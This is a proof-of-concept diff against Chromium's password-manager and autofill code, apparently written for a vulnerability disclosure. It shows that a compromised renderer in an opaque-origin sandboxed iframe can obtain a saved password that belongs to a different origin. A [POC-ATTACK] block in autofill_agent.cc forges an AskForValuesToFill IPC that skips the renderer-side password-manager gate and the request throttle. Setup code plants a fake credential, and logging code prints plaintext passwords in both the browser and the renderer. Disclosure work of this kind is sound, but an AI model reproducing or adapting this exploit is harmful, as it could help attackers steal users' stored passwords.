diff --git a/chrome/browser/password_manager/chrome_password_manager_client.cc b/chrome/browser/password_manager/chrome_password_manager_client.cc index e545d78ee74b2..be9e30823a381 100644 --- a/chrome/browser/password_manager/chrome_password_manager_client.cc +++ b/chrome/browser/password_manager/chrome_password_manager_client.cc @@ -10,6 +10,9 @@ #include #include "base/command_line.h" +// [POC] includes for setup precondition: +#include "base/logging.h" +#include "components/password_manager/core/browser/password_store/stored_credential.h" #include "base/containers/span.h" #include "base/containers/to_vector.h" #include "base/feature_list.h" @@ -1848,6 +1851,34 @@ ChromePasswordManagerClient::ChromePasswordManagerClient( } void ChromePasswordManagerClient::PrimaryPageChanged(content::Page& page) { + // ========================================================================== + // [POC-SETUP] Precondition only -- equivalent to "user has previously saved a + // password for http://localhost:8123/". This is *not* part of the attack; it + // populates the profile password store so the FormFetcher in + // PasswordManualFallbackFlow has something to return. In a real attack the + // victim has saved a password for victim.com via normal browsing. + static bool s_poc_password_added = false; + if (!s_poc_password_added) { + if (auto* store = GetProfilePasswordStore()) { + s_poc_password_added = true; + password_manager::StoredCredential cred; + cred.scheme = password_manager::PasswordForm::Scheme::kHtml; + cred.signon_realm = "http://localhost:8123/"; + cred.url = GURL("http://localhost:8123/login"); + cred.username_value = u"victim_user"; + cred.password_value = u"VictimSecret!42"; + cred.date_created = base::Time::Now(); + cred.date_password_modified = base::Time::Now(); + cred.in_store = password_manager::PasswordForm::Store::kProfileStore; + store->AddLogin(std::move(cred)); + LOG(ERROR) << "[POC-SETUP] Added saved password for " + "http://localhost:8123/ (username='victim_user', " + "password='VictimSecret!42') to the profile store. " + "This simulates the precondition that the user has " + "previously saved a credential for the precursor origin."; + } + } + // ========================== [POC-SETUP] END =============================== #if BUILDFLAG(IS_ANDROID) if (first_cct_page_load_metrics_recorder_) { first_cct_page_load_metrics_recorder_.reset(); diff --git a/components/autofill/content/browser/content_autofill_driver.cc b/components/autofill/content/browser/content_autofill_driver.cc index 3f2801bfd4174..411900330258a 100644 --- a/components/autofill/content/browser/content_autofill_driver.cc +++ b/components/autofill/content/browser/content_autofill_driver.cc @@ -25,6 +25,9 @@ #include "components/autofill/core/common/form_data_predictions.h" #include "components/autofill/core/common/signatures.h" #include "components/autofill/core/common/unique_ids.h" +// [POC] include for observation logging: +#include "content/public/browser/child_process_security_policy.h" +#include "content/public/browser/render_frame_host.h" #include "content/public/browser/render_process_host.h" #include "content/public/browser/render_widget_host_view.h" #include "content/public/browser/web_contents.h" @@ -635,6 +638,46 @@ void ContentAutofillDriver::AskForValuesToFill( const gfx::Rect& caret_bounds, AutofillSuggestionTriggerSource trigger_source, const std::optional& password_request) { + // ========================================================================== + // [POC-OBSERVE] Logging only -- no behaviour change. + // Demonstrates that the mojom::AutofillDriver::AskForValuesToFill handler + // performs no ChildProcessSecurityPolicy check (unlike the parallel + // mojom::PasswordManagerDriver handlers, which call HasValidURL()). + if (password_request && + password_request->field.trigger_source == + AutofillSuggestionTriggerSource::kManualFallbackPasswords) { + content::RenderFrameHost* rfh = render_frame_host(); + const url::Origin& committed_origin = rfh->GetLastCommittedOrigin(); + const GURL& committed_url = rfh->GetLastCommittedURL(); + int child_id = rfh->GetProcess()->GetDeprecatedID(); + bool cpsp_allows_precursor = + content::ChildProcessSecurityPolicy::GetInstance() + ->CanAccessDataForOrigin(child_id, + url::Origin::Create(committed_url)); + LOG(ERROR) << "[POC-OBSERVE][browser] " + "ContentAutofillDriver::AskForValuesToFill" + << " trigger=kManualFallbackPasswords" + << " rfh_process=" << child_id + << " rfh.LastCommittedURL=" << committed_url.spec() + << " rfh.LastCommittedOrigin=" + << committed_origin.GetDebugString() + << " origin.opaque=" << committed_origin.opaque() + << " CPSP::CanAccessDataForOrigin(process," + << url::Origin::Create(committed_url).GetDebugString() + << ")=" << cpsp_allows_precursor; + content::RenderFrameHost* main = rfh->GetOutermostMainFrame(); + LOG(ERROR) << "[POC-OBSERVE][browser] main-frame: process=" + << main->GetProcess()->GetDeprecatedID() + << " origin=" << main->GetLastCommittedOrigin().GetDebugString() + << " (sandboxed-iframe process-isolated=" + << (main->GetProcess() != rfh->GetProcess()) << ")"; + if (committed_origin.opaque()) { + LOG(ERROR) << "[POC-OBSERVE][browser] *** No CPSP gate on this path: " + "request from opaque-origin renderer is being routed to " + "PasswordManualFallbackFlow ***"; + } + } + // ========================== [POC-OBSERVE] END ============================= RouteToManager(*this, router(), &AutofillDriverRouter::AskForValuesToFill, &AutofillManager::OnAskForValuesToFill, form, field_id, caret_bounds, trigger_source, password_request); diff --git a/components/autofill/content/renderer/autofill_agent.cc b/components/autofill/content/renderer/autofill_agent.cc index b7bd6ea801437..81eb1b962dee8 100644 --- a/components/autofill/content/renderer/autofill_agent.cc +++ b/components/autofill/content/renderer/autofill_agent.cc @@ -55,6 +55,11 @@ #include "components/autofill/content/renderer/timing.h" #include "components/autofill/core/common/aliases.h" #include "components/autofill/core/common/autofill_constants.h" +// [POC] includes for compromised-renderer simulation: +#include +#include "components/autofill/core/common/password_form_fill_data.h" +#include "third_party/blink/public/platform/web_security_origin.h" +#include "url/gurl.h" #include "components/autofill/core/common/autofill_debug_features.h" #include "components/autofill/core/common/autofill_features.h" #include "components/autofill/core/common/autofill_util.h" @@ -713,6 +718,54 @@ void AutofillAgent::FocusedElementChanged( if (auto* autofill_driver = unsafe_autofill_driver()) { last_queried_element_ = FieldRef(control); autofill_driver->FocusOnFormField(form, field->renderer_id()); + // ==================================================================== + // [POC-ATTACK] Compromised-renderer simulation. + // A renderer with code execution in a process-isolated sandboxed + // iframe (opaque origin) can craft and send AskForValuesToFill with + // trigger_source = kManualFallbackPasswords + a PasswordSuggestionRequest + // whose nested TriggeringField.trigger_source is also + // kManualFallbackPasswords. The renderer-side gate + // (FrameCanAccessPasswordManager() == !IsOpaque()) is bypassed because + // the attacker controls this process. The browser-side + // mojom::AutofillDriver::AskForValuesToFill handler performs no + // ChildProcessSecurityPolicy / origin check. + // ==================================================================== + if (auto* render_frame = unsafe_render_frame()) { + blink::WebLocalFrame* web_frame = render_frame->GetWebFrame(); + GURL doc_url(web_frame->GetDocument().Url()); + if (doc_url.spec().find("poc-sandboxed-trigger") != std::string::npos) { + blink::WebSecurityOrigin sec_origin = web_frame->GetSecurityOrigin(); + LOG(ERROR) << "[POC-ATTACK] Renderer pid=" << getpid() + << " doc_url=" << doc_url.spec() + << " security_origin=" + << sec_origin.ToString().Utf8() + << " IsOpaque=" << sec_origin.IsOpaque() + << " CanAccessPasswordManager=" + << sec_origin.CanAccessPasswordManager(); + LOG(ERROR) << "[POC-ATTACK] Bypassing renderer-side " + "FrameCanAccessPasswordManager() and sending " + "mojom::AutofillDriver::AskForValuesToFill(" + "kManualFallbackPasswords) directly."; + gfx::RectF poc_bounds(100, 100, 200, 30); + PasswordSuggestionRequest poc_req( + TriggeringField( + *field, + AutofillSuggestionTriggerSource::kManualFallbackPasswords, + /*typed_username=*/std::u16string(), poc_bounds), + form, + /*username_field_id=*/FieldGlobalId(), + /*password_field_id=*/FieldGlobalId()); + // Avoid the throttle so the IPC is always sent. + last_ask_for_values_to_fill_ = {}; + is_popup_possibly_visible_ = true; + autofill_driver->AskForValuesToFill( + form, field->renderer_id(), gfx::Rect(), + AutofillSuggestionTriggerSource::kManualFallbackPasswords, + poc_req); + return; + } + } + // ==================== [POC-ATTACK] END ============================== handle_focus_change(form); return; } diff --git a/components/autofill/content/renderer/password_autofill_agent.cc b/components/autofill/content/renderer/password_autofill_agent.cc index 41594d47690a5..535238679dc0e 100644 --- a/components/autofill/content/renderer/password_autofill_agent.cc +++ b/components/autofill/content/renderer/password_autofill_agent.cc @@ -31,6 +31,9 @@ #include "base/strings/string_util.h" #include "base/strings/to_string.h" #include "base/strings/utf_string_conversions.h" +// [POC] includes for observation logging: +#include +#include "base/logging.h" #include "base/task/single_thread_task_runner.h" #include "base/types/zip.h" #include "build/build_config.h" @@ -968,6 +971,17 @@ void PasswordAutofillAgent::FillField( const std::u16string& value, FieldPropertiesMask field_properties, base::OnceCallback success_callback) { + // [POC-OBSERVE] Logging only -- proves the plaintext value reached this + // renderer process. + if (auto* rf = render_frame()) { + blink::WebSecurityOrigin so = rf->GetWebFrame()->GetSecurityOrigin(); + LOG(ERROR) << "[POC-OBSERVE][renderer] PasswordAutofillAgent::FillField " + << "pid=" << getpid() + << " received value='" << base::UTF16ToUTF8(value) + << "' in frame security_origin=" << so.ToString().Utf8() + << " IsOpaque=" << so.IsOpaque(); + } + // [POC-OBSERVE] END WebFormControlElement form_control = form_util::GetFormControlByRendererId(field_id); WebInputElement input_element = form_control.DynamicTo(); diff --git a/components/password_manager/content/browser/content_password_manager_driver.cc b/components/password_manager/content/browser/content_password_manager_driver.cc index 20c7d64b2b7cc..63462077d6004 100644 --- a/components/password_manager/content/browser/content_password_manager_driver.cc +++ b/components/password_manager/content/browser/content_password_manager_driver.cc @@ -7,6 +7,10 @@ #include #include "base/feature_list.h" +// [POC] includes for observation logging: +#include "base/logging.h" +#include "base/strings/utf_string_conversions.h" +#include "url/origin.h" #include "base/metrics/histogram_macros.h" #include "base/task/sequenced_task_runner.h" #include "components/autofill/content/browser/content_autofill_client.h" @@ -266,6 +270,17 @@ void ContentPasswordManagerDriver::FillField( const std::u16string& value, autofill::FieldPropertiesFlags field_flags, base::OnceCallback success_callback) { + // [POC-OBSERVE] Logging only -- no behaviour change. + LOG(ERROR) + << "[POC-OBSERVE][browser] ContentPasswordManagerDriver::FillField: " + << "sending value='" << base::UTF16ToUTF8(value) + << "' over PasswordAutofillAgent mojo to RFH origin=" + << render_frame_host_->GetLastCommittedOrigin().GetDebugString() + << " (opaque=" + << render_frame_host_->GetLastCommittedOrigin().opaque() + << ", process=" + << render_frame_host_->GetProcess()->GetDeprecatedID() << ")"; + // [POC-OBSERVE] END if (const auto& agent = GetPasswordAutofillAgent()) { agent->FillField(triggering_field_id, value, field_flags, std::move(success_callback)); diff --git a/components/password_manager/core/browser/password_manual_fallback_flow.cc b/components/password_manager/core/browser/password_manual_fallback_flow.cc index 8e847531b32e9..b45bfe490ca47 100644 --- a/components/password_manager/core/browser/password_manual_fallback_flow.cc +++ b/components/password_manager/core/browser/password_manual_fallback_flow.cc @@ -34,6 +34,10 @@ #include "components/password_manager/core/browser/password_ui_utils.h" #include "components/password_manager/core/browser/ui/credential_ui_entry.h" #include "url/gurl.h" +// [POC] includes for observation logging: +#include "base/logging.h" +#include "components/password_manager/core/browser/password_manager_driver.h" +#include "url/origin.h" namespace password_manager { @@ -113,6 +117,22 @@ PasswordManualFallbackFlow::PasswordManualFallbackFlow( password_manager::PasswordFormDigest form_digest( password_manager::PasswordForm::Scheme::kHtml, password_manager::GetSignonRealm(origin_as_gurl), origin_as_gurl); + // ========================================================================== + // [POC-OBSERVE] Logging only -- no behaviour change. + // The FormFetcher is keyed on the document URL (precursor), not the + // committed origin. For a process-isolated sandboxed iframe the committed + // origin is opaque but the URL still names the precursor host. + { + const url::Origin& committed_origin = + password_manager_driver_->GetLastCommittedOrigin(); + LOG(ERROR) << "[POC-OBSERVE][browser] PasswordManualFallbackFlow ctor:" + << " driver.LastCommittedURL=" << origin_as_gurl.spec() + << " driver.LastCommittedOrigin=" + << committed_origin.GetDebugString() + << " origin.opaque=" << committed_origin.opaque() + << " FormFetcher.signon_realm=" << form_digest.signon_realm; + } + // ========================== [POC-OBSERVE] END ============================= form_fetcher_ = std::make_unique( form_digest, password_client, /*should_migrate_http_passwords=*/false); form_fetcher_->set_filter_grouped_credentials(false); @@ -394,6 +414,45 @@ void PasswordManualFallbackFlow::RunFlowImpl( password_form && IsTriggerFieldRelevantInPasswordForm(password_form) && !password_form->HasNewPasswordElement())); + // ========================================================================== + // [POC-OBSERVE] Logging only -- no behaviour change. + // Dump the suggestion payloads that the browser is about to present in the + // autofill popup for the (opaque-origin) sandboxed iframe. The presence of + // the precursor-origin saved password with is_cross_domain=false proves that + // EnsureCrossDomainPasswordUsageGetsConsent() will not gate the fill, and + // that one ordinary popup click delivers the plaintext to the renderer. + { + const url::Origin& committed_origin = + password_manager_driver_->GetLastCommittedOrigin(); + LOG(ERROR) << "[POC-OBSERVE][browser] PasswordManualFallbackFlow::" + << "RunFlowImpl: generated " << suggestions.size() + << " suggestion(s) for frame with origin=" + << committed_origin.GetDebugString() + << " (opaque=" << committed_origin.opaque() << ")"; + auto dump = [&](const Suggestion& s, const char* where) { + if (auto* p = + std::get_if(&s.payload)) { + LOG(ERROR) << "[POC-OBSERVE][browser] " << where + << " type=" << static_cast(s.type) + << " main_text='" + << base::UTF16ToUTF8(s.main_text.value) + << "' signon_realm='" + << p->signon_realm.value_or(std::string()) + << "' username='" << base::UTF16ToUTF8(p->username) + << "' password='" << base::UTF16ToUTF8(p->password) + << "' is_cross_domain=" << p->is_cross_domain + << " acceptable=" + << static_cast(s.acceptability); + } + }; + for (const auto& s : suggestions) { + dump(s, "[top]"); + for (const auto& c : s.children) { + dump(c, " [child]"); + } + } + } + // ========================== [POC-OBSERVE] END ============================= // TODO(crbug.com/41474723): Set the right `form_control_ax_id`. autofill::AutofillClient::PopupOpenArgs open_args( bounds, text_direction, std::move(suggestions),